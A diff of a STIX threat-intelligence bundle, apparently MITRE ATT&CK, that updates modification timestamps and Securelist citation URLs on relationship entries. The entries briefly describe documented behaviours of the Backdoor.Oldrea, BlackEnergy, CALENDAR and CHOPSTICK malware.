             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea injects itself into explorer.exe.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35562,7 +41864,7 @@
             "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea adds Registry Run keys to achieve persistence.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35583,7 +41885,7 @@
             "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about the OS, computer name, and Internet adapter configuration.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35604,7 +41906,7 @@
             "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects the current username from the victim.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35625,7 +41927,7 @@
             "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about running processes.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35646,7 +41948,7 @@
             "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35667,7 +41969,7 @@
             "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects address book information from Outlook.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35688,7 +41990,7 @@
             "id": "relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35709,7 +42011,7 @@
             "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Backdoor.Oldrea samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35730,7 +42032,7 @@
             "id": "relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35751,7 +42053,7 @@
             "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -35772,7 +42074,7 @@
             "id": "relationship--054a22c3-f0ee-476a-b0cb-e3277c755032",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35793,7 +42095,7 @@
             "id": "relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35814,7 +42116,7 @@
             "id": "relationship--1a7d1db3-9383-4171-8938-382e9b0375c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy injects its DLL component into svchost.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35835,7 +42137,7 @@
             "id": "relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of BlackEnergy creates a new service using either a hard-coded or randomly generated name.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35856,7 +42158,7 @@
             "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35877,7 +42179,7 @@
             "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has used Systeminfo to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor. ",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35894,7 +42196,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -35903,7 +42205,7 @@
             "id": "relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry.BlackEnergy has searched for given file types.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35920,7 +42222,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -35929,7 +42231,7 @@
             "id": "relationship--2c586158-d02b-468a-bee8-04e1bde320e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered a process list by using Tasklist.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35946,7 +42248,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -35955,7 +42257,7 @@
             "id": "relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35972,7 +42274,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -35981,7 +42283,7 @@
             "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered information about local network connections using netstat.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -35998,7 +42300,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36007,7 +42309,7 @@
             "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook, Internet Explorer, and Windows Credential Store.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36024,7 +42326,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36033,7 +42335,7 @@
             "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy communicates with its C2 server over HTTP.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36054,7 +42356,7 @@
             "id": "relationship--147d2e66-25de-42ea-8592-eb51333f595c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy is capable of taking screenshots.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36066,7 +42368,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36075,7 +42377,7 @@
             "id": "relationship--53d7b242-3ed6-4281-9829-e25d425e28fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin shares.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36087,7 +42389,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36096,7 +42398,7 @@
             "id": "relationship--47e4d006-2685-4628-a46b-f6d9066f3585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has conducted port scans on a host.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36108,7 +42410,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36117,7 +42419,7 @@
             "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has the capability to communicate over a backup channel via plus.google.com.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36129,7 +42431,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36138,7 +42440,7 @@
             "id": "relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has run a keylogger plug-in on a victim.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36150,7 +42452,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36159,7 +42461,7 @@
             "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36171,7 +42473,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Feb 2015",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/68838/be2-extraordinary-plugins-siemens-targeting-dev-fails/"
+                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                 }
             ]
         },
@@ -36180,7 +42482,7 @@
             "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A BlackEnergy 2  plug-in uses WMI to gather victim host details.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36192,7 +42494,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Feb 2015",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/68838/be2-extraordinary-plugins-siemens-targeting-dev-fails/"
+                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                 }
             ]
         },
@@ -36201,7 +42503,7 @@
             "id": "relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy can gather very specific information about attached USB devices, to include device instance ID and drive geometry.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36213,7 +42515,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ]
         },
@@ -36222,7 +42524,7 @@
             "id": "relationship--c9dca829-6417-4121-9462-650ac852b8c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy component KillDisk is capable of deleting Windows Event Logs.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36243,7 +42545,7 @@
             "id": "relationship--8200c438-ec29-4f0e-81c3-9a058c735748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -36264,7 +42566,7 @@
             "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The CALENDAR malware communicates through the use of events in Google Calendar.",
             "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
@@ -36290,7 +42592,7 @@
             "id": "relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK checks for anti-virus, forensics, and virtualization software.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36311,7 +42613,7 @@
             "id": "relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36337,7 +42639,7 @@
             "id": "relationship--40a8f80d-5497-4218-849c-3c0b63796641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36358,7 +42660,7 @@
             "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK provides access to the Windows Registry, which can be used to gather information.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36379,7 +42681,7 @@
             "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36410,7 +42712,7 @@
             "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing keylogging.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36436,7 +42738,7 @@
             "id": "relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing remote command execution.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36462,7 +42764,7 @@
             "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing remote file transmission.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36483,7 +42785,7 @@
             "id": "relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Various implementations of CHOPSTICK communicate with C2 over HTTP, SMTP, and POP3.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36504,7 +42806,7 @@
             "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An older version of CHOPSTICK has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36525,7 +42827,7 @@
             "id": "relationship--f29a3a93-e697-4d6f-8087-eec72856bae5",
